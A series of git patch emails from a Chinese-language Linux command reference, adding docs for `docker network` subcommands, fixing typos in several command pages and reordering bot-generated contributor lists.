charset=UTF-8 Content-Transfer-Encoding: 8bit Update docker.md docker 添加 docker network --- command/docker.md | 118 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 118 insertions(+) diff --git a/command/docker.md b/command/docker.md index 33928bea0d2..7245dff9fde 100644 --- a/command/docker.md +++ b/command/docker.md @@ -217,6 +217,124 @@ docker push user/image ``` +## docker network +## 语法 + +``` +docker network [COMMAND] +``` + +## COMMAND + +### docker network connect +将容器连接到网络。您可以按名称或ID连接容器。连接后，容器可以与同一网络中的其他容器通信。 + +```shell +docker network connect [OPTIONS] NETWORK CONTAINER +``` + +#### 选项参数 + +```shell +--alias 为容器添加网络范围的别名 +--driver-opt 网络的驱动程序选项 +--ip IPv4地址（例如172.30.100.104） +--ip6 IPv6地址（例如2001：db8 :: 33） +--link 将链接添加到另一个容器(建议不用,后期应该会删除的) +--link-local-ip 为容器添加本地链接地址 +``` + +### docker network disconnect +断开容器与网络的连接 + +```shell +docker network disconnect [OPTIONS] NETWORK CONTAINER +``` + +#### 选项参数 + +```shell +-f,--force 强制容器断开网络连接 +``` + +### docker network create +创建一个新的网络 + +```shell +docker network create [OPTIONS] NETWORK +``` + +#### 选项参数 + +```shell +--attachable API 1.25+启用手动容器附件 +--aux-address 网络驱动程序使用的辅助IPv4或IPv6地址 +--config-from API 1.30+从中复制配置的网络 +--config-only API 1.30+创建仅配置网络 +-d,--driver bridge 驱动程序来管理网络 +--gateway 主子网的IPv4或IPv6网关 +--ingress API 1.29+创建群集路由网状网络 +--internal 限制外部访问网络 +--ip-range 从子范围分配容器ip +--ipam-driver IP地址管理驱动程序 +--ipam-opt 设置IPAM驱动程序特定选项 +--ipv6 启用IPv6网络 +--label 在网络上设置元数据 +-o,--opt 设置驱动程序特定选项 +--scope API 1.30+控制网络范围 +--subnet 代表网段的CIDR格式的子网 +``` + +### docker network inspect +返回有关一个或多个网络的信息。默认情况下，此命令将所有结果呈现在JSON对象中。 + +```shell +docker network inspect [OPTIONS] NETWORK [NETWORK...] +``` + +#### 选项参数 + +```shell +-f,--format 使用给定的Go模板格式化输出 +-v,--verbose 详细输出以进行诊断 +``` + +### docker network ls +列出引擎daemon知道的所有网络。这包括跨群集中多个主机的网络 + +```shell +docker network ls [OPTIONS] +``` + +#### 选项参数 + +```shell +-f,--filter 提供过滤器值（例如"driver = bridge"） +--format 使用Go模板的精美印刷网络 +--no-trunc 不要截断输出 +-q,--quiet 仅显示网络ID +``` + +### docker network prune +删除所有未使用的网络。未使用的网络是未被任何正在使用的容器引用的网络()。 + +```shell +docker network prune [OPTIONS] +``` + +#### 选项参数 + +```shell +--filter 提供过滤器值（例如'until ='） +-f,--force 不提示确认 +``` +### docker network rm +按名称或标识符删除一个或多个网络。要删除网络，必须首先断开连接到它的所有容器。 + +```shell +docker network rm NETWORKID [NETWORKID...] +``` + ## 官网 更多安装使用方法可以访问学习：https://wangchujiang.com/reference/docs/docker.html From 1280101616310ee18cc72467c7329a0d44a2795f Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 23 Feb 2024 05:54:36 +0000 Subject: [PATCH 0827/1019] doc: update README.md. --- README.md | 48 ++++++++++++++++++++++++------------------------ 1 file changed, 24 insertions(+), 24 deletions(-) diff --git a/README.md b/README.md index b7be960c454..95fa01befbe 100644 --- a/README.md +++ b/README.md @@ -411,12 +411,12 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 __FresHmaN - - ernest - dulltackle + + ernest + 谈笑风生间 @@ -438,15 +438,15 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 James Wang - - alfred - - - Wang Jianing - Qliangw + + Wang Yujia + + + alfred + 沙漠之子 @@ -462,21 +462,27 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 gggwvg - - BingCoke + + Pan, Wen-Ming Ein Verne - - Pan, Wen-Ming + + BingCoke RichardLCD + + Shan Chenyu + Dazhuangw + + alterem + YH @@ -486,9 +492,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Xingwen Zhang - - Shan Chenyu - sfwwslm @@ -567,8 +570,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Deny - - dayday + + Robigus 黑&蛋 @@ -657,9 +660,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 snovey - - Robigus - Rining Wu @@ -741,6 +741,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Alan + + dayday + cxalc @@ -768,9 +771,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 One Person’s Revelry - - alterem - 0Knot (0KN) From 79c5ad5dc7a040b7fc7ed22eb3e0ba3e8a0f0f85 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 23 Feb 2024 05:54:37 +0000 Subject: [PATCH 0828/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 48 +++++++++++++++++++-------------------- 1 file changed, 24 insertions(+), 24 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index ff0d5f0b06c..945e6cda64c 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -48,12 +48,12 @@ __FresHmaN - - ernest - dulltackle + + ernest + 谈笑风生间 @@ -75,15 +75,15 @@ James Wang - - alfred - - - Wang Jianing - Qliangw + + Wang Yujia + + + alfred + 沙漠之子 @@ -99,21 +99,27 @@ gggwvg - - BingCoke + + Pan, Wen-Ming Ein Verne - - Pan, Wen-Ming + + BingCoke RichardLCD + + Shan Chenyu + Dazhuangw + + alterem + YH @@ -123,9 +129,6 @@ Xingwen Zhang - - Shan Chenyu - sfwwslm @@ -204,8 +207,8 @@ Deny - - dayday + + Robigus 黑&蛋 @@ -294,9 +297,6 @@ snovey - - Robigus - Rining Wu @@ -378,6 +378,9 @@ Alan + + dayday + cxalc @@ -405,9 +408,6 @@ One Person’s Revelry - - alterem - 0Knot (0KN) From 02e3ae8ef1809bad23a9b8f1f4d29c8f4602931c Mon Sep 17 00:00:00 2001 From: Cui Yang <21211512+cy920820@users.noreply.github.com> Date: Mon, 4 Mar 2024 15:03:02 +0800 Subject: [PATCH 0829/1019] doc: fix typo in ack.md (#565) --- command/ack.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/command/ack.md b/command/ack.md index 25fd30e798d..505be25ab16 100644 --- a/command/ack.md +++ b/command/ack.md @@ -14,7 +14,7 @@ apk install ack ## 参数 -这些参数在linux上的适用频率是相当高的，尤其是你用vim做为IDE的话 +这些参数在linux上的使用频率是相当高的，尤其是你用vim做为IDE的话 ```shell -c(统计)/ -i(忽略大小)/ -h(不显示名称)/ @@ -90,9 +90,9 @@ ack-grep -g hello.py$ # 查找正则匹配文件 ack-grep -g hello --sort-files # 查找然后排序 ``` -### File Inclusion/Exclusion +### File inclusion/exclusion -文件过滤，个人觉得这是一个很不错的功能。如果你曾经在搜索项目源码是不小心命中日志中的某个关键字的话，你会觉得这个有用。 +文件过滤，个人觉得这是一个很不错的功能。如果你曾经在搜索项目源码时不小心命中日志中的某个关键字的话，你会觉得这个有用。 ```shell ack-grep --python hello # 查找所有python文件 From 9121c344b467f5b81193e853b6708c2204c8992d Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 4 Mar 2024 07:03:34 +0000 Subject: [PATCH 0830/1019] doc: update README.md. --- README.md | 91 ++++++++++++++++++++++++++++--------------------------- 1 file changed, 47 insertions(+), 44 deletions(-) diff --git a/README.md b/README.md index 95fa01befbe..22ea7247223 100644 --- a/README.md +++ b/README.md @@ -462,21 +462,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 gggwvg - - Pan, Wen-Ming - - - Ein Verne - - - BingCoke - - - RichardLCD - - - Shan Chenyu - Dazhuangw @@ -492,44 +477,59 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Xingwen Zhang - - sfwwslm + + Shan Chenyu - - rexlin600 + + RichardLCD - - oliver + + Pan, Wen-Ming - - shc + + BingCoke - - noodles2hg + + Ein Verne - - miniwater + + kid1412621 - - myliwenbo + + leo - - cole + + lewis1573 + + + linuxwd Ricardowang - - linuxwd + + cole - - lewis1573 + + myliwenbo - - leo + + miniwater - - kid1412621 + + noodles2hg + + + oliver + + + rexlin600 + + + sfwwslm + + + shc kassadin @@ -570,8 +570,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Deny - - Robigus + + dayday 黑&蛋 @@ -735,15 +735,15 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 DaYangtuo247 + + Cui Yang + Azroy Alan - - dayday - cxalc @@ -824,6 +824,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Rocher + + + Robigus 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From 49b02fea2d5690ba554435d4dd2c1fc263328efe Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 4 Mar 2024 07:03:34 +0000 Subject: [PATCH 0831/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 91 ++++++++++++++++++++------------------- 1 file changed, 47 insertions(+), 44 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 945e6cda64c..21ea0e9704b 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -99,21 +99,6 @@ gggwvg - - Pan, Wen-Ming - - - Ein Verne - - - BingCoke - - - RichardLCD - - - Shan Chenyu - Dazhuangw @@ -129,44 +114,59 @@ Xingwen Zhang - - sfwwslm + + Shan Chenyu - - rexlin600 + + RichardLCD - - oliver + + Pan, Wen-Ming - - shc + + BingCoke - - noodles2hg + + Ein Verne - - miniwater + + kid1412621 - - myliwenbo + + leo - - cole + + lewis1573 + + + linuxwd Ricardowang - - linuxwd + + cole - - lewis1573 + + myliwenbo - - leo + + miniwater - - kid1412621 + + noodles2hg + + + oliver + + + rexlin600 + + + sfwwslm + + + shc kassadin @@ -207,8 +207,8 @@ Deny - - Robigus + + dayday 黑&蛋 @@ -372,15 +372,15 @@ DaYangtuo247 + + Cui Yang + Azroy Alan - - dayday - cxalc @@ -461,6 +461,9 @@ Rocher + + + Robigus

From 11cea6daf9a82cd7d0693a56870775123e6d924d Mon Sep 17 00:00:00 2001 From: Lix Date: Wed, 13 Mar 2024 21:09:50 +0800 Subject: [PATCH 0832/1019] doc: update command/rm.md (#568) --- command/rm.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/rm.md b/command/rm.md index f0198cbdb5e..c628cd54f12 100644 --- a/command/rm.md +++ b/command/rm.md @@ -127,7 +127,7 @@ rm -I file1 file2 file3 > 然而，如果你非得完成这个操作，你需要使用 --no-preserve-root 选项。当提供此选项，rm 就不会特殊处理根目录（/）了。 ```shell -不给实例了，操作系统都被你删除了，你太坏了😆 +不给示例了，操作系统都被你删除了，你太坏了😆 ``` **rm 显示当前删除操作的详情** From e1a427e9d1e65d1bb07021c2eafce9593e5fbb9a Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 13 Mar 2024 13:10:21 +0000 Subject: [PATCH 0833/1019] doc: update README.md. --- README.md | 617 ++++++++++++++---------------------------------------- 1 file changed, 155 insertions(+), 462 deletions(-) diff --git a/README.md b/README.md index 22ea7247223..71a34be3172 100644 --- a/README.md +++ b/README.md @@ -366,468 +366,161 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 一如既往，感谢我们出色的贡献者！ - - 小弟调调 - - - ZhuangZhu-74 - - - Mend Renovate - - - Huck Huang - - - lutixiaya - - - L - - - clay-wangzhi - - - Glett - - - 项金 - - - 烟草的香味 - - - Jayin Tang - - - 丛林意志 - - - Zijing Zhang - - - Fubin Zhang - - - __FresHmaN - - - dulltackle - - - ernest - - - 谈笑风生间 - - - rgshare - - - loverainye - - - lavaicer - - - SteveLauC - - - Lnkstls - - - James Wang - - - Qliangw - - - Wang Yujia - - - alfred - - - 沙漠之子 - - - Shell - - - xhal - - - wVVaTT - - - gggwvg - - - Dazhuangw - - - alterem - - - YH - - - Xrtero - - - Xingwen Zhang - - - Shan Chenyu - - - RichardLCD - - - Pan, Wen-Ming - - - BingCoke - - - Ein Verne - - - kid1412621 - - - leo - - - lewis1573 - - - linuxwd - - - Ricardowang - - - cole - - - myliwenbo - - - miniwater - - - noodles2hg - - - oliver - - - rexlin600 - - - sfwwslm - - - shc - - - kassadin - - - juemuren4449 - - - jqz3.tech - - - jcdj666 - - - huangyao - - - gcluffy - - - ghy - - - gesty - - - gedune - - - gang.yang - - - ecjtusbs - - - dongpohezui - - - Deny - - - dayday - - - 黑&蛋 - - - Panthea Johnson - - - 远方 - - - 谢民皆 - - - Kyofin - - - 继刚 - - - 移动的红烧肉 - - - 甲寅 - - - 极简XksA - - - ReZero - - - Loofra - - - 徐伟 - - - 尘埃 - - - 宋小北 - - - 孤城落寞 - - - 七朔 - - - zyimm - - - zuixin369 - - - zoomdong - - - zodiac - - - zjlovezj - - - yanyx - - - Lingfeng Wang - - - weibk - - - UniqueDing - - - tutianyu101 - - - tangke - - - sunls24 - - - snovey - - - Rining Wu - - - Ray Yee - - - Mystic - - - MinsonLee - - - Marnm - - - mwei - - - Wang - - - Lucien - - - LinuxZilong - - - 孟思行 - - - LexsionLee - - - Legend - - - LaudOak - - - Nexchard - - - Jeremy2214 - - - Jack.A.Black - - - Jack - - - Huntout Zhang - - - HighScorePlayer - - - Herbert8 - - - Guiying Li - - - Frankie - - - Divenire - - - Danny - - - DaYangtuo247 - - - Cui Yang - - - Azroy - - - Alan - - - cxalc - - - Forever121 - - - c2ch - - - brinkqiang - - - bell - - - azureology - - - Ashine - - - amit794 - - - One Person’s Revelry - - - 0Knot (0KN) - - - Yunbin Liu - - - Yan Sheng - - - YEUNGCHIE - - - Xu Chunyang - - - Xonline-Tech - - - Xiaodong DENG - - - XBG - - - Wingrez - - - Na Meng - - - T-TRz879 - - - Spaghetti-C - - - RoachZhao - - - Azolla - - - SevenSteven - - - SMVirus - - - 殇 - - - Rocher - - - Robigus - +小弟调调 +ZhuangZhu-74 +Mend Renovate +Huck Huang +lutixiaya +L +clay-wangzhi +Glett +项金 +烟草的香味 +Jayin Tang +丛林意志 +Zijing Zhang +Fubin Zhang +__FresHmaN +dulltackle +ernest +谈笑风生间 +rgshare +loverainye +lavaicer +SteveLauC +Lnkstls +James Wang +Qliangw +Wang Yujia +alfred +沙漠之子 +Shell +xhal +wVVaTT +gggwvg +Dazhuangw +Alterem +YH +Xrtero +Xingwen Zhang +Shan Chenyu +RichardLCD +Pan, Wen-Ming +BingCoke +Ein Verne +kid1412621 +leo +lewis1573 +linuxwd +Ricardowang +cole +myliwenbo +miniwater +noodles2hg +oliver +rexlin600 +sfwwslm +黑&蛋 +kassadin +juemuren4449 +jqz3.tech +jcdj666 +huangyao +gcluffy +ghy +gesty +gedune +gang.yang +ecjtusbs +dongpohezui +Deny +dayday +cxalc +Panthea Johnson +远方 +谢民皆 +Kyofin +继刚 +移动的红烧肉 +甲寅 +极简XksA +ReZero +Loofra +徐伟 +尘埃 +宋小北 +孤城落寞 +七朔 +zyimm +zuixin369 +zoomdong +zodiac +zjlovezj +yanyx +Lingfeng Wang +weibk +UniqueDing +tutianyu101 +tangke +sunls24 +snovey +shc +Ray Yee +Mystic +MinsonLee +Marnm +mwei +Wang +Lucien +Lix +LinuxZilong +孟思行 +LexsionLee +Legend +LaudOak +Nexchard +Jeremy2214 +Jack.A.Black +Jack +Huntout Zhang +HighScorePlayer +Herbert8 +Guiying Li +Frankie +Divenire +Danny +DaYangtuo247 +Cui Yang +Azroy +Alan +Forever121 +c2ch +brinkqiang +bell +azureology +Ashine +amit794 +One Person’s Revelry +0Knot (0KN) +Yunbin Liu +Yan Sheng +YEUNGCHIE +Xu Chunyang +Xonline-Tech +Xiaodong DENG +XBG +Wingrez +Na Meng +T-TRz879 +Spaghetti-C +RoachZhao +Azolla +SevenSteven +SMVirus +殇 +Rocher +Robigus +Rining Wu 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From 57bb010d9751e8995f3513f2afe6f0310e013a75 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 13 Mar 2024 13:10:21 +0000 Subject: [PATCH 0834/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 617 ++++++++++---------------------------- 1 file changed, 155 insertions(+), 462 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 21ea0e9704b..eb0896b0fb9 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -3,468 +3,161 @@

贡献者列表

- - 小弟调调 - - - ZhuangZhu-74 - - - Mend Renovate - - - Huck Huang - - - lutixiaya - - - L - - - clay-wangzhi - - - Glett - - - 项金 - - - 烟草的香味 - - - Jayin Tang - - - 丛林意志 - - - Zijing Zhang - - - Fubin Zhang - - - __FresHmaN - - - dulltackle - - - ernest - - - 谈笑风生间 - - - rgshare - - - loverainye - - - lavaicer - - - SteveLauC - - - Lnkstls - - - James Wang - - - Qliangw - - - Wang Yujia - - - alfred - - - 沙漠之子 - - - Shell - - - xhal - - - wVVaTT - - - gggwvg - - - Dazhuangw - - - alterem - - - YH - - - Xrtero - - - Xingwen Zhang - - - Shan Chenyu - - - RichardLCD - - - Pan, Wen-Ming - - - BingCoke - - - Ein Verne - - - kid1412621 - - - leo - - - lewis1573 - - - linuxwd - - - Ricardowang - - - cole - - - myliwenbo - - - miniwater - - - noodles2hg - - - oliver - - - rexlin600 - - - sfwwslm - - - shc - - - kassadin - - - juemuren4449 - - - jqz3.tech - - - jcdj666 - - - huangyao - - - gcluffy - - - ghy - - - gesty - - - gedune - - - gang.yang - - - ecjtusbs - - - dongpohezui - - - Deny - - - dayday - - - 黑&蛋 - - - Panthea Johnson - - - 远方 - - - 谢民皆 - - - Kyofin - - - 继刚 - - - 移动的红烧肉 - - - 甲寅 - - - 极简XksA - - - ReZero - - - Loofra - - - 徐伟 - - - 尘埃 - - - 宋小北 - - - 孤城落寞 - - - 七朔 - - - zyimm - - - zuixin369 - - - zoomdong - - - zodiac - - - zjlovezj - - - yanyx - - - Lingfeng Wang - - - weibk - - - UniqueDing - - - tutianyu101 - - - tangke - - - sunls24 - - - snovey - - - Rining Wu - - - Ray Yee - - - Mystic - - - MinsonLee - - - Marnm - - - mwei - - - Wang - - - Lucien - - - LinuxZilong - - - 孟思行 - - - LexsionLee - - - Legend - - - LaudOak - - - Nexchard - - - Jeremy2214 - - - Jack.A.Black - - - Jack - - - Huntout Zhang - - - HighScorePlayer - - - Herbert8 - - - Guiying Li - - - Frankie - - - Divenire - - - Danny - - - DaYangtuo247 - - - Cui Yang - - - Azroy - - - Alan - - - cxalc - - - Forever121 - - - c2ch - - - brinkqiang - - - bell - - - azureology - - - Ashine - - - amit794 - - - One Person’s Revelry - - - 0Knot (0KN) - - - Yunbin Liu - - - Yan Sheng - - - YEUNGCHIE - - - Xu Chunyang - - - Xonline-Tech - - - Xiaodong DENG - - - XBG - - - Wingrez - - - Na Meng - - - T-TRz879 - - - Spaghetti-C - - - RoachZhao - - - Azolla - - - SevenSteven - - - SMVirus - - - 殇 - - - Rocher - - - Robigus - + 小弟调调 +ZhuangZhu-74 +Mend Renovate +Huck Huang +lutixiaya +L +clay-wangzhi +Glett +项金 +烟草的香味 +Jayin Tang +丛林意志 +Zijing Zhang +Fubin Zhang +__FresHmaN +dulltackle +ernest +谈笑风生间 +rgshare +loverainye +lavaicer +SteveLauC +Lnkstls +James Wang +Qliangw +Wang Yujia +alfred +沙漠之子 +Shell +xhal +wVVaTT +gggwvg +Dazhuangw +Alterem +YH +Xrtero +Xingwen Zhang +Shan Chenyu +RichardLCD +Pan, Wen-Ming +BingCoke +Ein Verne +kid1412621 +leo +lewis1573 +linuxwd +Ricardowang +cole +myliwenbo +miniwater +noodles2hg +oliver +rexlin600 +sfwwslm +黑&蛋 +kassadin +juemuren4449 +jqz3.tech +jcdj666 +huangyao +gcluffy +ghy +gesty +gedune +gang.yang +ecjtusbs +dongpohezui +Deny +dayday +cxalc +Panthea Johnson +远方 +谢民皆 +Kyofin +继刚 +移动的红烧肉 +甲寅 +极简XksA +ReZero +Loofra +徐伟 +尘埃 +宋小北 +孤城落寞 +七朔 +zyimm +zuixin369 +zoomdong +zodiac +zjlovezj +yanyx +Lingfeng Wang +weibk +UniqueDing +tutianyu101 +tangke +sunls24 +snovey +shc +Ray Yee +Mystic +MinsonLee +Marnm +mwei +Wang +Lucien +Lix +LinuxZilong +孟思行 +LexsionLee +Legend +LaudOak +Nexchard +Jeremy2214 +Jack.A.Black +Jack +Huntout Zhang +HighScorePlayer +Herbert8 +Guiying Li +Frankie +Divenire +Danny +DaYangtuo247 +Cui Yang +Azroy +Alan +Forever121 +c2ch +brinkqiang +bell +azureology +Ashine +amit794 +One Person’s Revelry +0Knot (0KN) +Yunbin Liu +Yan Sheng +YEUNGCHIE +Xu Chunyang +Xonline-Tech +Xiaodong DENG +XBG +Wingrez +Na Meng +T-TRz879 +Spaghetti-C +RoachZhao +Azolla +SevenSteven +SMVirus +殇 +Rocher +Robigus +Rining Wu

数据来源于 GitHub Contributors，使用action-contributors创建。 From a90fb67ea143a6625f9d9c1bf275182beb20a1d0 Mon Sep 17 00:00:00 2001 From: shuangcui Date: Fri, 15 Mar 2024 01:36:10 +0800 Subject: [PATCH 0835/1019] chore: fix some typos (#569) Signed-off-by: shuangcui --- command/ab.md | 2 +- command/arping.md | 2 +- command/gdb.md | 2 +- command/git.md | 2 +- command/info.md | 2 +- command/nethogs.md | 2 +- 6 files changed, 6 insertions(+), 6 deletions(-) diff --git a/command/ab.md b/command/ab.md index 1823c7c1d01..8beb72dbf09 100644 --- a/command/ab.md +++ b/command/ab.md @@ -61,7 +61,7 @@ name[:port]/path -g gnuplot-file # Write all measured values out as a 'gnuplot' or TSV (Tab separate # values) file. This file can easily be imported into packages like - # Gnuplot, IDL, Mathematica, Igor or even Excell. The labels are on + # Gnuplot, IDL, Mathematica, Igor or even Excel. The labels are on # the first line of the file. -h # 显示使用说明 -H custom-header diff --git a/command/arping.md b/command/arping.md index 7e825c79c3c..918942df3bf 100644 --- a/command/arping.md +++ b/command/arping.md @@ -21,7 +21,7 @@ arping(选项)(参数) -f：表示在收到第一个响应报文后就退出； -w timeout：设定一个超时时间，单位是秒。如果到了指定时间，arping还没到完全收到响应则退出； -c count：表示发送指定数量的ARP请求数据包后就停止。如果指定了deadline选项，则arping会等待相同数量的arp响应包，直到超时为止； --s source：设定arping发送的arp数据包中的SPA字段的值。如果为空，则按下面处理，如果是DAD模式（冲突地址探测），则设置为0.0.0.0，如果是Unsolicited ARP模式（Gratutious ARP）则设置为目标地址，否则从路由表得出； +-s source：设定arping发送的arp数据包中的SPA字段的值。如果为空，则按下面处理，如果是DAD模式（冲突地址探测），则设置为0.0.0.0，如果是Unsolicited ARP模式（Gratuitous ARP）则设置为目标地址，否则从路由表得出； -I interface：设置ping使用的网络接口。 ``` diff --git a/command/gdb.md b/command/gdb.md index b69f2599205..d72ec9f01d6 100644 --- a/command/gdb.md +++ b/command/gdb.md @@ -290,7 +290,7 @@ Breakpoint 4, main () at gdb-sample.c:17 1: x/i $pc 0x804835c : movl $0x1,0xfffffffc(%ebp) ``` -此时可以使用“i r”命令显示寄存器中的当前值———“i r”即“Infomation Register”： +此时可以使用“i r”命令显示寄存器中的当前值———“i r”即“Information Register”： ```shell (gdb) i r diff --git a/command/git.md b/command/git.md index 9b811a9db58..2c7ea45b20a 100644 --- a/command/git.md +++ b/command/git.md @@ -936,7 +936,7 @@ git remote show origin # 查看指定源的全部信息 ```shell git tag -a v0.1 -m 'my version 1.4' # 新建带注释标签 git push origin --tags # 一次性推送所有分支 -git push origin v1.5 # 推送单个tag到orgin源上 +git push origin v1.5 # 推送单个tag到origin源上 git tag -v v1.4.2.1 # 验证标签，验证已经签署的标签 git show v1.5 # 看到对应的 GPG 签 diff --git a/command/info.md b/command/info.md index a3e785a4d3d..0224e9b7f4f 100644 --- a/command/info.md +++ b/command/info.md @@ -72,7 +72,7 @@ info info **Del 键** 上一页（PageUp 也可以，上一页从当前页的开始两行开始算起） 上一个 Node （若当前页 Node 文档的开始） - **b 或 t 或 Home** 文档的开始（b 是 begining 的意思） + **b 或 t 或 Home** 文档的开始（b 是 beginning 的意思） **e 或 End** 文档的末尾（b 是 ending 的意思） **Ctrl-l** 刷新当前页，若当前文档显示情况有问题时 **Ctrl-g** 取消所键入的指令 diff --git a/command/nethogs.md b/command/nethogs.md index 0fcc6f15f99..d1f97ffe52e 100644 --- a/command/nethogs.md +++ b/command/nethogs.md @@ -49,7 +49,7 @@ usage: nethogs [-V] [-h] [-b] [-d seconds] [-v mode] [-c count] [-t] [-p] [-s] [ ```shell -d : 刷新间隔 -h : 帮助 --p : promiscious 模式 +-p : promiscuous 模式 -t : trace模式 -V : 版本 ``` From 4bc8306c00a6db3b9fd9fd56d7fff4660abb47d8 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 14 Mar 2024 17:36:41 +0000 Subject: [PATCH 0836/1019] doc: update README.md. --- README.md | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 71a34be3172..a9e4208c3fa 100644 --- a/README.md +++ b/README.md @@ -408,7 +408,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Pan, Wen-Ming BingCoke Ein Verne -kid1412621 leo lewis1573 linuxwd @@ -420,7 +419,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 oliver rexlin600 sfwwslm +shc 黑&蛋 +kid1412621 kassadin juemuren4449 jqz3.tech @@ -435,7 +436,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 dongpohezui Deny dayday -cxalc Panthea Johnson 远方 谢民皆 @@ -464,7 +464,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 tangke sunls24 snovey -shc +shuangcui +cxalc Ray Yee Mystic MinsonLee From a044c4717021729c27cb8b59216da98f4a8368de Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 14 Mar 2024 17:36:42 +0000 Subject: [PATCH 0837/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index eb0896b0fb9..b4cf94a27de 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -45,7 +45,6 @@ Pan, Wen-Ming BingCoke Ein Verne -kid1412621 leo lewis1573 linuxwd @@ -57,7 +56,9 @@ oliver rexlin600 sfwwslm +shc 黑&蛋 +kid1412621 kassadin juemuren4449 jqz3.tech @@ -72,7 +73,6 @@ dongpohezui Deny dayday -cxalc Panthea Johnson 远方 谢民皆 @@ -101,7 +101,8 @@ tangke sunls24 snovey -shc +shuangcui +cxalc Ray Yee Mystic MinsonLee From 7ffccdbd48292bea27d3710312f06f16f45285c6 Mon Sep 17 00:00:00 2001 From: Derek <68425858+zxyup@users.noreply.github.com> Date: Wed, 20 Mar 2024 01:36:49 +0800 Subject: [PATCH 0838/1019] doc: update command/du.md (#570) du -d --- command/du.md | 1 + 1 file changed, 1 insertion(+) diff --git a/command/du.md b/command/du.md index a37ba58d3da..7a47fcd0831 100644 --- a/command/du.md +++ b/command/du.md @@ -21,6 +21,7 @@ du [选项][文件] -b, --bytes 显示目录或文件大小时，以byte为单位。 -c, --total 除了显示个别目录或文件的大小外，同时也显示所有目录或文件的总和。 -D, --dereference-args 显示指定符号链接的源文件大小。 +-d, --max-depth=N 限制文件夹深度 -H, --si 与-h参数相同，但是K，M，G是以1000为换算单位。 -h, --human-readable 以K，M，G为单位，提高信息的可读性。 -k, --kilobytes 以KB(1024bytes)为单位输出。 From dd479f7e8e9286985d8878b31a65f506211284b9 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 19 Mar 2024 17:37:21 +0000 Subject: [PATCH 0839/1019] doc: update README.md. --- README.md | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index a9e4208c3fa..e4a6a35f6ff 100644 --- a/README.md +++ b/README.md @@ -408,6 +408,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Pan, Wen-Ming BingCoke Ein Verne +kid1412621 leo lewis1573 linuxwd @@ -420,8 +421,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 rexlin600 sfwwslm shc -黑&蛋 -kid1412621 kassadin juemuren4449 jqz3.tech @@ -436,6 +435,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 dongpohezui Deny dayday +Ray Yee +黑&蛋 Panthea Johnson 远方 谢民皆 @@ -465,8 +466,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 sunls24 snovey shuangcui -cxalc -Ray Yee Mystic MinsonLee Marnm @@ -489,11 +488,13 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Guiying Li Frankie Divenire +Derek Danny DaYangtuo247 Cui Yang Azroy Alan +cxalc Forever121 c2ch brinkqiang From 3bf82f3a7a7c930f001f1fa0ca2b6bff27b1ee53 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 19 Mar 2024 17:37:21 +0000 Subject: [PATCH 0840/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index b4cf94a27de..996caad14cd 100644 --- 